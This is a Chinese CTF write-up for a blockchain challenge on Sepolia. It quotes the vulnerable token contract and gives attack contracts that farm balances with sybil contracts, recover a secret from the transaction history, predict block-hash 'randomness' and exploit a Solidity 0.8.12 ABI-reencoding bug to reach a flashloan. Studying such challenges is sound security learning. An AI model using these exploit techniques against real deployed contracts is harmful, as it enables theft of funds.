本次题目的地址为 sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA

# 前言

这一次 1024 程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:), 话不多说,我们现在就来看一看如何做出这一题.


# 源码

先上合约源码↓↓↓↓↓↓

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
pragma solidity 0.8.12;
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";
struct Coupon {
    uint loankey;
    uint256 amount;
    address buser;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignCoupon {
    Coupon coupon;
    Signature signature;
}
contract MyToken is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => uint) public _ebalances;
    mapping(address => uint) public ethbalances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint) public _profited;
    mapping(address => uint) public _auth_one;
    mapping(address => uint) public _authd;
    mapping(address => uint) public _loand;
    mapping(address => uint) public _flag;
    mapping(address => uint) public _depositd;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address owner;
    address backup;
    uint secret;
    uint tokenprice;
    Coupon public c;
    address public lala;
    address public xixi;
    //mid = bilibili uid
    //b64email = base64(your email address)
    //Don't leak your bilibili uid
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string mid, string b64email); 
    event changeprice(uint secret_);
    constructor(string memory name_, string memory symbol_, uint secret_) {
        _name = name_;
        _symbol = symbol_;
        owner = msg.sender;
        backup = msg.sender;
        tokenprice = 6;
        secret = secret_;
        _mint(owner, 2233102400);
    }
    modifier onlyowner() {
        require(msg.sender == owner);
        _;
    }
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
   
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function deposit() public {
        require(_depositd[msg.sender] == 0, "you can only deposit once");
        _depositd[msg.sender] = 1;
        ethbalances[msg.sender] += 1;
    }
    function getBalance() public view returns (uint) {
        return address(this).balance;                   
    }
    function setbackup() public onlyowner {
        owner = backup;
    }
    function ownerbackdoor() public {
        require(msg.sender == owner);
        _mint(owner, 1000);
    }
    function auth1(uint pass_) public {
        require(pass_ == secret, "auth fail");
        require(_authd[msg.sender] == 0, "already authd");
        _auth_one[msg.sender] += 1;
        _authd[msg.sender] += 1;
    }
    function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }
    
    function payforflag(string memory mid, string memory b64email) public {
        require(_flag[msg.sender] == 2);
        emit sendflag(mid, b64email);
    }
    function flashloan(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 0, "loan key error");
        
        require(msg.sender == address(this), "hacker get out");
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        c=coupon; 
        
        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
        
        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
        require(scoupon.coupon.amount <= 300, "loan amount error");
        _loand[scoupon.coupon.buser] = 1;
        
        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
    }
    function profit() public {
        require(_profited[msg.sender] == 0);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, 1);
    }
    
    function borrow(uint amount) public {
        require(amount == 1);
        require(_profited[msg.sender] <= 1);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, amount);
    }
    function buy(uint amount) public {
        require(amount <= 300, "max buy count is 300");
        uint price;
        uint ethmount = _ebalances[msg.sender];
        if (ethmount < 10) {
            price = 1000000;
        } else if (ethmount >= 10 && ethmount <= 233) {
            price = 10000;
        } else {
            price = 1;
        }
        uint payment = amount * price;
        require(payment <= ethmount);
        _ebalances[msg.sender] -= payment;
        _transfer(owner, msg.sender, amount);
    }
    function sale(uint amount) public {
        require(_balances[msg.sender] >= amount, "fail to sale");
        uint earn = amount * tokenprice;
        _transfer(msg.sender, owner, amount);
        _ebalances[msg.sender] += earn;
    }
    function withdraw() public {
        require(ethbalances[msg.sender] >= 1);
        require(_ebalances[msg.sender] >= 1812);
        payable(msg.sender).call{value:100000000000000000 wei}("");
        
        _ebalances[msg.sender] = 0;
        _flag[msg.sender] += 1;
    }
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
   
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        require(msg.sender == owner);     // 不允许被 owner 以外调用
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
   
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        require(msg.sender == owner);     // 不允许被 owner 以外调用
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        require(msg.sender == owner);     // 不允许被 owner 以外调用
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
   
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
   
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    // debug param secret
    function get_secret() public view returns (uint) {
        require(msg.sender == owner);
        return secret;
    }
    // debug param tokenprice
    function get_price() public view returns (uint) {
        return tokenprice;
    }
    // test need to be delete
    function testborrowtwice(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 2233);
        MyToken(this).flashloan(scoupon);
    }
    // test need to be delete
    function set_secret(uint secret_) public onlyowner {
        secret = secret_;
        emit changeprice(secret_);
    }
}

# 1. 明确目标

这里我们注意到了一个函数 payforflag , 很明显,我们需要调用这一个函数来获得我们的 flag, 那么调用这个函数的条件是什么呢?

function payforflag(string memory mid, string memory b64email) public {
        require(_flag[msg.sender] == 2);
        emit sendflag(mid, b64email);
    }

我们需要 _flag[msg.sender] 的值为 2

接下来要做的就是寻找函数使 _flag[msg.sender] 的值到 2.

通过寻找,我们找到了 withdraw 这个函数,而这个函数的执行需要满足两个条件,分别是 ethbalances[msg.sender] >= 1_ebalances[msg.sender] >= 1812 .

function withdraw() public {
        require(ethbalances[msg.sender] >= 1);
        require(_ebalances[msg.sender] >= 1812);
        payable(msg.sender).call{value:100000000000000000 wei}("");
        
        _ebalances[msg.sender] = 0;
        _flag[msg.sender] += 1;
    }

# 第一个条件

先看第一个条件 ethbalances[msg.sender] >= 1 , 我们可以使用 deposit 这个函数来令其满足

function deposit() public {
        require(_depositd[msg.sender] == 0, "you can only deposit once");
        _depositd[msg.sender] = 1;
        ethbalances[msg.sender] += 1;
    }

# 第二个条件

再看第二个条件 _ebalances[msg.sender] >= 1812 , 涉及到该变量的函数有 profit , borrow , buy , sale

function profit() public {
        require(_profited[msg.sender] == 0);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, 1);
    }
    
    function borrow(uint amount) public {// 获得 1 个_balances
        require(amount == 1);
        require(_profited[msg.sender] <= 1);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, amount);
    }
    function buy(uint amount) public {// 通过出售_ebalances 购买_balances
        require(amount <= 300, "max buy count is 300");
        uint price;
        uint ethmount = _ebalances[msg.sender];
        if (ethmount < 10) {
            price = 1000000;
        } else if (ethmount >= 10 && ethmount <= 233) {
            price = 10000;
        } else {
            price = 1;
        }
        uint payment = amount * price;
        require(payment <= ethmount);
        _ebalances[msg.sender] -= payment;
        _transfer(owner, msg.sender, amount);
    }
    function sale(uint amount) public {// 通过出售_balances 获得_ebalances
        require(_balances[msg.sender] >= amount, "fail to sale");
        uint earn = amount * tokenprice;
        _transfer(msg.sender, owner, amount);
        _ebalances[msg.sender] += earn;
    }

我们看看 profit 这个函数,只能运行一次,获得一个 _balances ; 而 borrow 这个函数,一共可以执行两次获得两个 _balances . 但是这两个函数都有 _profited[msg.sender] 这个变量进行限制,也就是说,我们最多只能通过 profitborrow 函数获得 2 个 _balances .

那么 _balances 有什么用呢?看一看 sale 函数,我们可以把 _balances 卖掉得到 _ebalances , 其中 tokenprice 已经被定义为 6 了,所以 _balances_ebalances 之间的兑换比例为 1:6.

buy 这个函数,只有当 _ebalances 大于 233 时, _ebalances_balances 之间的兑换比例才是 1:1.

仔细看看上面两段话,稍微思考一下就可以明白,只要我的 _ebalances 比 233 要大,那么不就可以通过与 _balances 互刷的方式不断增加我的 _ebalances 从而满足条件 2 _ebalances[msg.sender] >= 1812 ?!

这里我举个简单的例子,假设我现在有 _ebalances 300 个,那么我可以通过 buy(300) 获得 _balances 300 个,随后在通过 sale(300) 获得 _ebalances 300*6=1800 个,然后再重复上面的过程,那么我的 _ebalances 不久可以源源不断的增加的吗~~~~

所以我们现在要做的可以是:

  • 获得 _ebalances 大于 233 个
  • 或者 _balances 大于等于 39 个 (因为获得 39 个以上的 _balances 后,可以通过 sale 函数获得的 _ebalances 的数量是 6* _balances , 即 234 个)

# 2. 编写攻击合约

在求解这一题的过程中,我想到了两种方法都可以来获得 flag, 接下来听我一一道来~~

# 方法①

我们知道每一个初始账号都可以固定获得 2 个 _balances , 那么我们能否通过小号为大号通过 transfer 方法发送 _balances 的方法获得足够数量的 _balances 呢?答案是可行的.

直接上代码!

先写一个拿两个 _balances 并转给大号的合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract mulcreate {
    MyToken public mytoken;
    
    constructor(address _MyTokenAddress) {
        mytoken = MyToken(_MyTokenAddress);
    }
    receive() external payable {}
    function onestep() public{
        mytoken.borrow(1);
        mytoken.borrow(1);
        mytoken.transfer(adreess(你的主账户地址),2);
    }
}

再写一个批量创建合约的合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./create_contract.sol";
contract mulcreate_Factory {
  mulcreate Mulcreate;
  function create() external {
    uint i = 0;
    for(i=0;i<=20;i=i+1){
        Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);// 这个地址就是题目合约的地址
        Mulcreate.onestep();
    }
    
  }
}

通过调用第二个合约,给大号足够的 _balances 启动资金,就可以开始刷 _ebalances 拿 flag 咯~~

# 方法②

细心的同学在做这题的时候有没有发现这个函数 flashloan , 可以直接给你增加 300 的 _ebalances !

function flashloan(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 0, "loan key error");
        
        require(msg.sender == address(this), "hacker get out");
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        c=coupon; 
        
        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
        
        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
        require(scoupon.coupon.amount <= 300, "loan amount error");
        _loand[scoupon.coupon.buser] = 1;
        
        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
    }

不过直接编写攻击合约来调用这个函数肯定是不行滴,因为 require(msg.sender == address(this), "hacker get out") 这一句的限制了,咋办嘞?

再找找看叭~~于是我们找到了一个调用 flashloan 的函数 testborrowtwice , 这不就正好可以满足上面的条件了吗~

function testborrowtwice(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 2233);
        MyToken(this).flashloan(scoupon);
    }

不过 flashloan 内还有限制条件 require(_authd[scoupon.coupon.buser] == 2, "need pre auth") , 就是说需要验证的意思,我们找找这两个验证函数 auth1auth2

function auth1(uint pass_) public {
        require(pass_ == secret, "auth fail");
        require(_authd[msg.sender] == 0, "already authd");
        _auth_one[msg.sender] += 1;
        _authd[msg.sender] += 1;
    }
    function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }

对于 auth1 , secret 不是直接在 constructor 中有定义了嘛~直接看合约

image-20221101140608227

NICE!一下子就找到了根本难不倒我们~

但是当你开开心心的把123456输进去的时候,结果发现居然没通过???

咋回事嘞

再找找看咯

于是你再源码中发现了这个 set_secret ! 没想到 owner 还可以改 secret!!

function set_secret(uint secret_) public onlyowner {
        secret = secret_;
        emit changeprice(secret_);
    }

这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.

嘿嘿image-20221101140901701

这不就有了嘛~

看看这笔交易的信息

image-20221101140950991

嘿嘿 secret 就是 0x154be90, 转一下十进制就是 22331024, 还挺有寓意的嘛~

接下来就是搞 auth2 的时候了

function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }

当我看到 uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) 这个的时候,我瞬间乐开了花,这我可太熟悉不过了~

看看这篇文章 Source of Randomness 简直简直就是一个模子里刻出来的哇,

uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) 这玩意儿看着随机,其实是确定的!

接下来写个攻击合约就可以赚到大把大把的 _balances

直接上代码!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./ctf.sol";
contract Attack {
    MyToken public mytoken;
    
    constructor(address _MyTokenAddress) {//_MyTokenAddress 是题目的合约地址
        mytoken = MyToken(_MyTokenAddress);
    }
    receive() external payable {}
    function attack() public{
        mytoken.deposit();// 满足 ethbalances [msg.sender] >= 1
 
        mytoken.borrow(1);
        mytoken.borrow(1);// 得到两个_balances
        mytoken.auth1(22331024);// 第一个验证
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
        mytoken.auth2(answer);// 第二个验证
        SignCoupon memory scoupon;
        scoupon.coupon.loankey=2233;
        scoupon.coupon.amount=300;
        scoupon.coupon.buser=address(this);
        mytoken.testborrowtwice(scoupon);// 获得_ebalances 300 个
        mytoken.buy(302);// 用_ebalances 去换_balances 302 个
        mytoken.transfer(adrress(你自己的账户地址),302);// 给你的大号转账_balances 302 个
    }
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这里简单说明一下为什么将 scoupon.coupon.loankey 赋值为 2233 通过 testborrowtwice 后,在 flashloan 函数中 scoupon.coupon.loankey 又变为 0, 这由于 solidity0.8.12 编译器自身原因导致了这个 bug, 从而使得第一个成员变量的值清零,在 solidity0.8.16 后这个问题得到了修复.

贴一下 bug 描述

"uid": "SOL-2022-6",
        "name": "AbiReencodingHeadOverflowWithStaticArrayCleanup",
        "summary": "ABI-encoding a tuple with a statically-sized calldata array in the last component would corrupt 32 leading bytes of its first dynamically encoded component.",
        "description": "When ABI-encoding a statically-sized calldata array, the compiler always pads the data area to a multiple of 32-bytes and ensures that the padding bytes are zeroed. In some cases, this cleanup used to be performed by always writing exactly 32 bytes, regardless of how many needed to be zeroed. This was done with the assumption that the data that would eventually occupy the area past the end of the array had not yet been written, because the encoder processes tuple components in the order they were given. While this assumption is mostly true, there is an important corner case: dynamically encoded tuple components are stored separately from the statically-sized ones in an area called the *tail* of the encoding and the tail immediately follows the *head*, which is where the statically-sized components are placed. The aforementioned cleanup, if performed for the last component of the head would cross into the tail and overwrite up to 32 bytes of the first component stored there with zeros. The only array type for which the cleanup could actually result in an overwrite were arrays with ``uint256`` or ``bytes32`` as the base element type and in this case the size of the corrupted area was always exactly 32 bytes. The problem affected tuples at any nesting level. This included also structs, which are encoded as tuples in the ABI. Note also that lists of parameters and return values of functions, events and errors are encoded as tuples.",
        "introduced": "0.5.8",
        "fixed": "0.8.16",
        "severity": "medium",
        "conditions": {
            "ABIEncoderV2": true
        }

# 结语

至此,这第四题区块链的解答就到此结束了

说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得 flag , 好玩好玩,嘿嘿 (●ˇ∀ˇ●)